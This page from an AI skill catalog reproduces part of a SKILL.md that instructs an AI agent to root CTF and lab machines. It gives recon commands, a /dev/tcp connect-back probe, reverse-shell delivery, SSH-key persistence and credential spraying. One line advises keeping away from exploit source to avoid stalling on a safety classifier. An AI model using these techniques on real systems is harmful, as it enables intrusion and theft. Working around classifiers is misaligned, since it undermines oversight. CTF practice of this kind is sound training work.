CTF / Boot-to-Root Box

SkillDocs & knowledge

Boot-to-root methodology for a full machine (THM/HTB/PG/CTF box, "get user.txt+root.txt", "root the box", "foothold to root"). Enforces basic-tool recon (nmap, nc, ffuf, nuclei, dig) before anything custom, wiki-first lookups, and ALWAYS pspy + linpeas/winpeas for privesc. Use when handed a box/IP to own end-to-end.

Available today. Use it from your connected AI after setup.

Connect ahel once, and every AI you use reads what you have installed.

Then ask your AI: use the CTF / Boot-to-Root Box skill

What this skill tells your AI

The instructions your AI receives, as published by encod3d-sec/torch in skills/workflow/ctf-box/SKILL.md and read by ahel’s review.

Own a whole machine: recon -> service triage -> foothold -> user.txt -> privesc -> root.txt. Run everything from the engagement tooling host (e.g. Kali in tmux), capture into targets/<eng>/.

Track progress in targets/<eng>/Approach.md -- work the current phase's open items, mark [x] as each lands; honor GATE 1 (no hand-rolled exploit before its wiki item is [x]), GATE 2 (no exploit step [x] without a poc/ image), GATE 3 (exhausted vector -> [!] + one Deadends.md line, never re-run it).

Run python3 scripts/campaign.py next before every exploit step, and done/pass-done after each lands. The driver reprints the required posture (msf-shell rule, searchsploit+msf-first, the RTL stop-tells) and is the forcing function now that the drift-guard block is advisory-only - do not free-hand a box off the board.

Standing mandate: Wiki-first, tools-before-scripts (GATE 1, all phases)

This mandate stands over every phase below. Before writing ANY custom script or recalling an exploit from memory:

  1. qmd_query "<tech/version> exploit" and qmd_query "<service> privilege escalation" via wiki-search MCP. Read matches. If the MCP is down (it drops mid-session), run bash scripts/wiki-query.sh "<tech> exploit" (same qmd index; -k for an exact CVE) - do NOT skip wiki-first or fall back to grep.
  2. Pull payloads from wiki/payloads/ and chains from wiki/cheatsheets/attack-chains.md + wiki/cheatsheets/cve-arsenal.md, or Skill(arsenal) to resolve the exact file.
  3. Privesc reference: wiki/techniques/linux/linux-privesc.md / wiki/cheatsheets/linux-privesc.md (or windows-privesc). Only after the wiki has nothing do you write a custom PoC. Do not reinvent what the wiki already documents.

Tooling home: check /opt/arsenal first for pspy/linpeas/shot/capture. pspy64/linpeas/winPEAS live in /opt/arsenal, seeded by vm-provision.sh from their GitHub releases; our own helpers (shot.py, capture.sh) are pushed on demand by bash scripts/vm-sync.sh <name> from the vault.

Version-pinned tooling -> a THROWAWAY docker container, never mutate the VM's runtime. A tool that needs a specific/older interpreter or an abandoned dependency (e.g. h2csmuggler pins the deprecated hyper lib and only runs on Python <=3.11; a legacy exploit needs node:16) should run inside a disposable container matched to that version, NOT via a host downgrade or a fragile venv that leaves the Kali VM in a broken state for the next box. docker run -it --rm -v $(pwd):/app python:3.11 bash (swap the tag: python:3.9, node:16, ...); --rm deletes it the moment you exit, so nothing persists and nothing on the VM breaks. Keep the VM's system python/tooling pristine.

Anti-pattern: a raw one-shot bash /root/vm.sh '<exploit>' (or an inline node -e/python3 -c payload through it) for a listener, shell, or chained exploit is the smell this mandate exists to catch -- it skips wiki-first and leaves no session to capture. Run persistent/interactive steps in their own named tmux tab instead: scripts/vm-scan.sh <eng> <target> '<cmd>'.

Phase 1 Recon: basic tools only (in this order)

Use the standard toolkit. Do NOT hand-roll recon scripts.

Preflight (every engagement, before scanning): prune the tooling VM's /etc/hosts and /etc/krb5.conf of PRIOR-box entries. The VM persists across boxes, so a stale <ip> <domain>/<realm> line (or a stale default_realm) silently mis-resolves this box while nxc/certipy (explicit IP) look fine; impacket Kerberos hangs on a dead KDC instead. bash /root/vm.sh 'grep -vE "^#|^127\.|^::1|^$" /etc/hosts', delete any line not for this box, add only this target; bash /root/vm.sh 'grep -i default_realm /etc/krb5.conf', blank/reset it.

Tooling-first: rustscan/nmap/feroxbuster/ffuf/nuclei/nxc, never a hand-rolled /dev/tcp or curl fuzz loop (skips the fingerprint router). feroxbuster is the DEFAULT web content-discovery tool (recursive, faster than ffuf/big.txt); launch it the moment nmap shows a web port; ffuf is for param-mining + vhosts.

Card EVERY scan tab AS it finishes, not at the end: scripts/capture.sh recon <eng> <slug> <tab> renders the tmux tab into recon/, rustscan, nmap, feroxbuster, ffuf, nuclei, whatweb (its own tab). Even an empty result gets a card. status.py surfaces the recon-card count.

ONE tmux session per engagement, one WINDOW per parallel scan. bash scripts/vm-scan.sh <eng> <target> '<scan>' for the first, then --win nuclei/--win ferox/--win whatweb for the rest on the same host; never bump the session name to dodge a collision. Screenshot a tab with Skill(screenshot) --tmux <eng>:<tab>.

vm.sh drops long foreground commands (exit 255, no output) past ~2 min. Run scans/cracks/sprays DETACHED (a tmux tab via vm-scan.sh, or nohup <cmd> >/tmp/out 2>&1 & + poll for a DONE marker), never blocking one vm.sh call. Stdin is not forwarded through vm.sh; push files via base64 (echo <b64> | base64 -d > ~/file), write+run in one call.

Never pkill -f <pattern> with a pattern that also matches your OWN driver/ssh command - it kills your own tooling (a pattern on the target IP can match the ssh session carrying it).

T=<ip>
rustscan -a $T --ulimit 5000 -g                        # fast full-port sweep -> open-port CSV
nmap -p<found> -sCV -Pn $T -oN nmap-svc.txt            # version/script scan on rustscan's hits
nmap -p- --min-rate 2000 -T4 -Pn $T -oN nmap-all.txt   # full-TCP confirm (own tmux tab)
nc -nv $T <port>                 # manual banner / custom-proto services
dig any @$T <domain>; dig axfr @$T <domain>   # DNS if 53 open / vhost hints
nxc smb $T -u '' -p '' --shares                 # SMB: netexec first (fingerprint router), not smbclient
nxc smb $T -u 'guest' -p '' --shares --rid-brute   # guest fallback + RID-cycle user enum
smbclient -N //$T/<share> -c 'recurse;ls'       # smbclient only to pull a specific file/share
# --- web ports found: feroxbuster (primary) + nuclei + whatweb IN PARALLEL, own tmux tab each ---
feroxbuster -u http://$T -w /tmp/harness-paths.txt -x php,txt,log,sql,bak,zip,env,old,conf -d 2 --no-state -o ferox.txt   # our high-signal list first
feroxbuster -u http://$T -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,txt,log,bak -d 2 --no-state   # then the big list
bash scripts/backup-sweep.sh http://$T ferox.txt    # full-filename backup suffixes (.bak/~/.old/...) ferox -x misses; BURP_PROXY=127.0.0.1:8080 to route via Burp
ffuf -c -u "http://$T/?FUZZ=x" -w scripts/wordlists/harness-params.txt -fs <baseline>   # param mining
ffuf -c -u http://$T/ -H "Host: FUZZ.$T" -w <vhost-wordlist> -mc all -o vh.json         # vhosts: diff redirect Location, don't filter by code (a decoy vhost 302s the same place; the real one differs)
ffuf -c -u "http://$T/~FUZZ/" -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt -mc 200,301,403   # Apache userdir (~name) - no dir wordlist carries these, fuzz explicitly
nuclei -u http://$T -o nuclei.txt
whatweb -a3 http://$T ; curl -s -I http://$T    # own tmux tab so it gets a recon card
wpscan -u http://$T                              # if WordPress

Missing -w wordlist = ffuf prints help text and silently finds NOTHING (a false "no hidden endpoints"). Preflight every fuzz (ls "$W" || W=/usr/share/wordlists/dirb/big.txt); seclists may be absent on the VM, push harness lists over via base64 first.

Slow vs worker-starved, don't conflate them. Fast HTTP 000 under concurrency (ffuf/sqlmap/parallel scans) = the box is WORKER-STARVED: back off to serial, one request per call, drop fuzzers, let it drain. A request that just never returns = the box is SLOW, not dead: raise the timeout to 120s+ and be patient (a heavy CMS/backend page can take 60-90s). Tell: nmap shows "filtered" but a single nc/curl connection succeeds = it drops fast-scan probes, switch to gentle serial mode rather than declaring it dead.

On any TLS host, dump the cert SANs early; a hidden vhost that decoy services and ffuf/feroxbuster never surface can be listed only in the Subject Alternative Name, see [[cdn-waf-bypass]].

On any web surface, before moving to exploitation, all of this, in parallel where possible:

  • Capture it as-is first: capture.sh web <eng> <slug> http://T:PORT/ (browser shot) + curl -s http://T:PORT/ > poc/<slug>-source.html (raw source), for EVERY distinct surface (login, dashboards, OSINT/social apps) as you open it.
  • Read full, not grep. Fetch a file/response (source, config, HLS manifest, JS bundle) and read it END-TO-END; the vuln hides in the line a narrow grep skips. Never pipe an exploit/lead response through head/grep before reading it whole.
  • Exploit requests -> Burp. curl is fine for quick loops; push every load-bearing request (SSRF/LFI/SQLi/BFLA/deser/flag-returning) into Repeater via Skill(hunt-burp), card with capture.sh burp.
  • Source-read primitive first. The moment you can read files (LFI/.git/backup), read ALL the app source before brute-forcing a login/DB; the vuln is usually in source you can already read.
  • Read the client JS and snippet what it reveals. Grep bundles for fetch(/axios//api/token/secret/admin; a JS/SPA's POST-only JSON API is invisible to feroxbuster/ffuf (they GET, a bare /api 404s so recursion never descends). The moment source reveals something load-bearing, capture it: scripts/capture.sh snippet <eng> <slug> <url-or-file> '<pattern>' '<what it reveals>' -> paste the fenced block into walkthrough.md Recon.
  • Launch scanners in parallel the moment a web port appears, feroxbuster + nuclei + whatweb, one tmux tab each, don't wait serially; card each on finish. Never conclude "no web vuln" until both feroxbuster and nuclei have run AND been read.

Fingerprint the exact app + version. Skill(arsenal) FIRST on any fingerprinted surface (maps it to wiki/tools/ automation), then INVOKE Skill(hunt-<class>) for each fingerprinted vuln class; actually load and follow it, not just the router's advisory nudge (a routed-but-never-invoked hunt skill is drift in eval.md). Record HOW each vuln was discovered, not just the exploit; screenshot findings as they land. OT/ICS ports (502/102/44818/1880, an HMI web app) -> Skill(hunt-ics). A web surface -> scripts/recon-web.sh <eng> <url> (fans out feroxbuster+nuclei+whatweb+backup-sweep); re-run per new vhost/path, nothing auto-launches it.

Phase 2 Weaponize: pick the exploit

  • Version-known -> [[wiki/tools/searchsploit]] AND [[metasploit]] FIRST (the quick-win reflex). The instant a service is fingerprinted to a version, run BOTH before hand-rolling or deep-diving a CVE: searchsploit <app> <ver> (local Exploit-DB; -m <id> to copy a PoC, -x to read it) and msfconsole -qx "search <app>; exit" (a ready use-able module = often an instant shell). A matching msf module or a copy-pasteable searchsploit PoC beats writing your own. Cross-check with the wiki CVE lookup ([[cve-arsenal]] · [[metasploit]]); prefer the documented/ready PoC over a fresh one. (GATE 1 still holds: the wiki item for the tech is [x] before a hand-rolled PoC - but a canned searchsploit/msf exploit for a known version IS the wiki-blessed tool, use it.) For the full search->use->check->run sequence and DB-backed recon, drive it through Skill(metasploit) rather than free-handing msfconsole.
  • Treat a documented exploit tool as a BLACK BOX: use its interface, do not read its source. For a known/public tool or PoC (e.g. [[wp2shell]], a searchsploit/msf module, a vendor advisory PoC), drive it through its documented CLI as a trusted reference. Opening a tool's full source to study its mechanics wastes tokens and can stall the engagement on the safety classifier; keep your understanding at the WHAT-it-does / HOW-to-invoke level (its wiki page), not the source level. When a step needs a PoC pulled from GitHub (or any external exploit fetched/run), pause for the OPERATOR's nudge - the operator supplies the authorizing context at that point rather than the agent deriving the mechanics itself.
  • Pick the payload set from wiki/payloads/ for the fingerprinted class (GATE 1: the wiki item is [x] before you hand-roll a PoC).
  • Stage the chosen exploit/PoC into targets/<eng>/poc/scripts/ before firing, so the code and the run are captured together.
  • A fingerprinted service can expose SEVERAL vuln classes - do not tunnel on the first. One plugin/app often has an SQLi AND a file-read AND an authed RCE; the intended door is usually the CHEAPEST (a source/config read), not the loudest (a blind SQLi you grind for hours). Two mechanical tells that the vector you picked is the WRONG one - switch it, do not tune the tooling (see [[hunt-core]] Stop conditions): (1) the box starves under your own exploit loop (repeated 000/timeout/empty-reply) - a vector that DoSes a lab box is almost never intended; (2) two verified hashes in a row fail the wordlist - the passwords are delivered out-of-band (email/note/KeePass/config), so stop cracking and read the app's OTHER surfaces (LFI/source, a second vhost, mail) for where creds are handed out. Re-fingerprint the asset for untested classes (coverage / campaign.py board) before extracting a third hash. When the next door is not obvious, call Skill(redteamlead) for wiki-grounded ranked directions with a STOP - one RTL call the moment a vector fights back beats an hours-long sunk-cost grind (do not wait to be told; the box's /redteamlead reminder is a real instruction).

Phase 3 Deliver: land a shell

  • Diagnose target->attacker EGRESS before committing to a shell channel (recurring time-sink). A connect-back that silently fails is usually a FILTERED egress port, not a broken payload - common C2 ports (4444/1337) are often blocked while 443/80/53/8000 pass. Test it FIRST with one clean single-command probe (a curl/wget to your listener port, or bash -c 'echo x >/dev/tcp/<you>/<port>') across a couple of ports; if connect-back is filtered, DO NOT grind ports or a reverse shell - pivot to an HTTP-pull + one-shot-webshell/SSH channel (the box's "beacons OUT on a schedule" theme is a literal hint the network is egress-shaped). Deliver the shell payload base64-wrapped or as a hosted script run via a download cradle, NEVER a nested-quote bash -i >& /dev/tcp/... one-liner through the vm.sh -> ssh -> --cmd bridge (the quotes mangle and you cannot tell a dead port from a mangled payload - same delivery discipline as vm-rsh.sh for commands).
  • Deliver the staged payload/exploit against the target; prefer the documented PoC over a fresh one.
  • Stabilize EVERY Linux shell the moment it lands (a raw nc shell has no job control, no arrow keys, no tab-complete, and Ctrl-C kills it). Full TTY-upgrade dance, in order: python3 -c 'import pty;pty.spawn("/bin/bash")' (fall back to python/python2 if python3 is absent; script -qc /bin/bash /dev/null if no python) -> Ctrl+Z to background -> stty raw -echo; fg (hands your terminal's raw mode to the shell; press Enter twice) -> export TERM=xterm (fixes clear/less/vim). Then set stty rows <R> cols <C> to your local stty size if editors wrap. Or better, drop your SSH key into a writable user's ~/.ssh/authorized_keys for a resilient, already-interactive session. (Windows shells: no PTY dance; grab a proper shell via a C2/ConPtyShell or just RDP/WinRM once you have creds.)
  • Catch every reverse-shell pop through msfconsole multi/handler - never a raw nc listener by default. A raw nc PTY has the footgun that Ctrl-C kills the LISTENER (dropping the shell back to your own prompt - the false-RCE trap) and needs quoting gymnastics to drive. Default the payload to meterpreter (linux/x64/meterpreter/reverse_tcp etc.); when meterpreter is blocked or unstable - routine on Windows/EDR, where the stager dies but a plain shell survives - fall back to a plain shell_reverse_tcp payload still caught in multi/handler (a bare nc/vm-scan.sh --win shell listener is the last resort). Meterpreter also gives autoroute/portfwd/socks to reach internal-only ports - use that before hand-rolling SSH -L forwards. msfconsole/msfvenom are on the VM. (An already-interactive SSH/evil-winrm/cred session needs none of this - drive it directly.) Drive the whole handler setup + catch through Skill(metasploit).
  • Drive commands into the landed shell (reverse shell or tmux tab) with scripts/vm-rsh.sh <eng> '<cmd>' - it base64-wraps the command so any metachars survive the vm.sh -> ssh -> tmux bridge and returns clean output. NEVER hand-quote tmux send-keys + capture-pane, or /dev/tcp file-transfers, to run commands; that quoting hell is a known repeat drift.
  • On FIRST foothold, stand up ONE persistent multiplexed channel and reuse it. SSH ControlMaster/ControlPersist (plus -L forwards for internal-only ports), or a reverse shell that survives home-perm resets. Opening a fresh SSH per command through an unstable VPN tunnel was the dominant wall-clock sink on a recent box. See [[pivoting]].
  • Cred-reuse FIRST. Capture creds to targets/<eng>/loot.md immediately; try reuse (su / ssh / other services) BEFORE hunting new ones. DB/web creds are very often reused for SSH.
    • Spray EVERY secret you hold against EVERY user x surface, not just the newest one. The drift: a cred gets written to loot.md, one obvious target is tried, and the rest of the matrix is never run while a fresh privesc vector is ground for half an hour. Re-run the FULL matrix each time a new secret lands. su and SSH are NOT equivalent - PermitRootLogin no makes ssh root@ fail while su root with the same password succeeds, so a "root: []" SSH result is NOT a negative for root (needs a PTY: pty.spawn/script -qc).
    • The leaked config is not the live secret. An app that does load_dotenv() / os.environ.get(...) keeps its REAL password in a .env beside the source, not in the seeded .sql. Read every config the app actually loads, and diff it against what the leak gave you.
    • Crack the hashes you ALREADY hold before hunting a new vector. A DB account with ALL PRIVILEGES lets you read the DBMS's own account table; a second, otherwise-invisible account there is a deliberate lead. MySQL 8 caching_sha2_password ($A$005$...) is hashcat -m 7401 (see [[password-cracking]], [[mysql]]) - convert $A$<iter>$<20-byte salt><43-byte digest> to $mysql$A$005*<salt-hex>*<digest-hex>. A DBMS password is a prime candidate for OS-account reuse.

Phase 4 Exploit: finish the foothold, then privesc

RCE-first (impact-first). When more than one vector is open, take the one that yields code-exec first - an RCE foothold is the attack vector that carries impact. Grind XSS/IDOR/enum only after code-exec is ruled out or the objective specifically needs them (the driver now ranks code-exec classes ahead of access/enum rows).

Web foothold = STAY in Burp (anti-drift). If the foothold is an HTTP primitive (RCE/LFI/SSRF/authed API), the recurring failure is abandoning Burp the instant it lands and scripting the ENTIRE post-exploitation over raw curl/vm.sh/urllib - so the operator, who is watching Burp, loses all visual on the exploitation. Keep the load-bearing follow-ups (the injection that reads user.txt, the authed call that leaks config, each privesc-relevant fetch) in Burp Repeater (native mcp__burp__* first, CLI bridge fallback; Skill(hunt-burp)). Quick throwaway enumeration loops over the bridge are fine; the requests you'd screenshot are not throwaway. See CLAUDE.md "Burp-first does NOT stop at foothold".

STOP-and-think the moment ANY shell lands (before reaching for a shortcut). The recurring failure is following the FASTEST path instead of the INTENDED one, then going off the rails. Pause and:

  1. Read the box's THEME/name + any notes/creds/files you already have - CTF boxes telegraph the intended vector (a module lesson, a service left on, a labelled secret). qmd_query the wiki for that theme + the exact fingerprinted tech before acting.
  2. Enumerate the INTENDED escalation surface FIRST: sudo -l, writable configs/cron/timers/scripts you own, group memberships, service creds - the deliberate path is almost always one of these and pspy/linpeas surface it in seconds. When a user is in sudo/wheel but the password is nowhere findable AND cron/writable/SUID/group vectors dead-end, READ /etc/pam.d/{sudo,su} and /etc/sudoers.d/* (not a grep) - a pam_ssh_agent_auth (hijack a forwarded agent socket in /tmp/ssh-*/agent.* -> passwordless sudo), pam_exec, or bare NOPASSWD line IS the vector; a user conspicuously in lxd/docker that's unreachable is often a DECOY (see [[linux-privesc]]). Read linpeas output WHOLE - the pam/sudoers tell is there but a keyword grep skips it.
  3. Kernel-LPE arsenal (dirtyfrag/copyfail/PwnKit/...) is a LABELLED FALLBACK, not the opening move. We DO carry instant-escalation payloads for old kernels ([[privesc-exploit-arsenal]], [[dirty-frag]]) - note the uname -r band as a fallback, but VERIFY the intended path is genuinely absent AND verify the CVE precondition (userns/module/patch-band) before firing. A shortcut that works is fine; taking it BEFORE checking the taught vector is the drift. Once you have full root, look back at what was INTENDED and record it (walkthrough + Deadends), so the fast win still teaches the lesson. The confirmed compile-and-run itself (cross-compile the PoC, deliver it, execute, verify) is a Skill(delegate) hand-off - fully specified once the CVE/precondition is verified, cheap-model-shaped. On an active meterpreter session, run post/multi/recon/local_exploit_suggester first (via Skill(metasploit)) to surface the candidate before delegating the run.

Finish the foothold first (leftover Rule 2 techniques, if the shell landed mid-app):

  • Consistent escalation primitive: if a box exposes the SAME pivot at each stage (a Docker socket/TLS pivot per level, an SSRF each hop), verify/exhaust that intended vector end-to-end BEFORE an opportunistic shortcut (raw device mount, a memory CVE). A shortcut that relies on --privileged/a loose cap can mask that a hardened config would block it, and it is less reproducible/auditable. Getting the flag via a shortcut is fine; SKIPPING the taught vector without testing it is the miss.
  • Web SQLi: in-band (UNION/error) before blind; test EVERY quote context (' " numeric) and second-order (a stored value used unsafely on another page). If the app hashes the password inside the query, read plaintext from information_schema.PROCESSLIST. Load Skill(hunt-sqli) / see [[sql-injection]].
  • Recovered unsalted MD5/SHA1: online lookup first (CrackStation/hashes.com) before hashcat/john. A hash that resists everything on a hard box may be a deliberate decoy; pivot, don't grind.
  • A custom binary that signs its own protocol (HMAC/token): decompile the KEY SCHEDULE before brute-guessing key/message combos. When an implant/agent/updater HMACs its IPC/C2 and the key is derived from readable material (a .rodata blob, a PRNG pad with a hardcoded seed, /etc/machine-id), reproduce the derivation offline (the derivation functions are usually tiny) and VERIFY against one captured live signature, then forge - do not spend rounds guessing blob/machine-id/HMAC(blob,mid) permutations. Recognize the glibc rand() LCG (*0x41c64e6d + 0x3039, byte (state>>16)&0xff). See [[cryptography-attacks]] "binary signed-protocol forge".

Shortened here. Read the whole file on GitHub.

Signals

GitHub stars
322
Forks
44
Last commit
Sep 2026
Advanced
Catalog kind
skill
Gateway key
ctf-box
Source
github.com/encod3d-sec/torch